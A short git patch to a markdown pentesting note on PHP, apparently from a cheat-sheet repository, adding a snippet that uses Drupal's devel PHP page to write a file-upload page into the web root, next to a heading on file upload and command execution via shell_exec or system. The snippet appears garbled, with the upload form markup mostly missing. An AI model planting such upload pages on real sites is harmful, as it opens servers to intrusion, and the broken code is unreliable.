From e0138ab3eed7f99eb07abd31a4c7b6ac9eee27f0 Mon Sep 17 00:00:00 2001 From: jamieparfet <9058983+jamieparfet@users.noreply.github.com> Date: Thu, 1 Nov 2018 09:33:28 +0100 Subject: [PATCH] Update php.md --- misc/php.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/misc/php.md b/misc/php.md index c42c1b1..cbbde6d 100644 --- a/misc/php.md +++ b/misc/php.md @@ -1,5 +1,13 @@ ## PHP +Create a file upload page at drupal.site/devel/php +``` +$fp = fopen('/var/www/html/', 'w'); +fwrite($fp, 'Upload

Choose file


'); +fclose($fp); +``` + + ### File upload and command execution If `shell_exec` does not work, try `system`